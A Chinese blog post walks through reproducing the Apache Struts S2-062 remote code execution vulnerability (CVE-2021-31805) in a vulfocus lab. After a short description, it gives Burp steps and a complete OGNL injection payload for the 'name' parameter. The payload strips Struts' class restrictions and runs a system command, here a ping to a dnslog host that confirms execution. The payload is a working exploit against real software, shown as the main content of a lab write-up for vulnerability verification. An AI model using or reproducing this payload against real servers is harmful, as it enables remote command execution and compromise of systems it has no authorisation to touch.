S2-062_RCE漏洞复现(CVE-2021-31805)
一、漏洞描述
该漏洞是由于对S2-061(CVE-2020-17530)的修复不完整,在Apache Struts 2.0.0-2.5.29版本范围内,如果开发人员使用 %{xxx} 语法进行强制OGNL解析时,标签的某些属性仍然可被二次解析。当解析未经验证的用户输入时可能会导致远程代码执行。
二、影响范围
2.0.0 <= Struts >=2.5.29
三、漏洞复现
复现环境:vulfocus靶场
注册登录后启动CVE-2021-31805漏洞环境
访问漏洞地址,访问地址+测试路径。
这里使用Post方式传参,如果使用Get方法,抓包时需将Get改为Post。
burp抓包发送Repeater,在name参数后插入payload。
由于靶场无回显,这里使用dnslog探测。
payload:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))
这里将payload进行URL编码后发送,可在dnslog平台看到有响应,说明漏洞存在。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· DeepSeek R1 简明指南:架构、训练、本地部署及硬件要求
· NetPad:一个.NET开源、跨平台的C#编辑器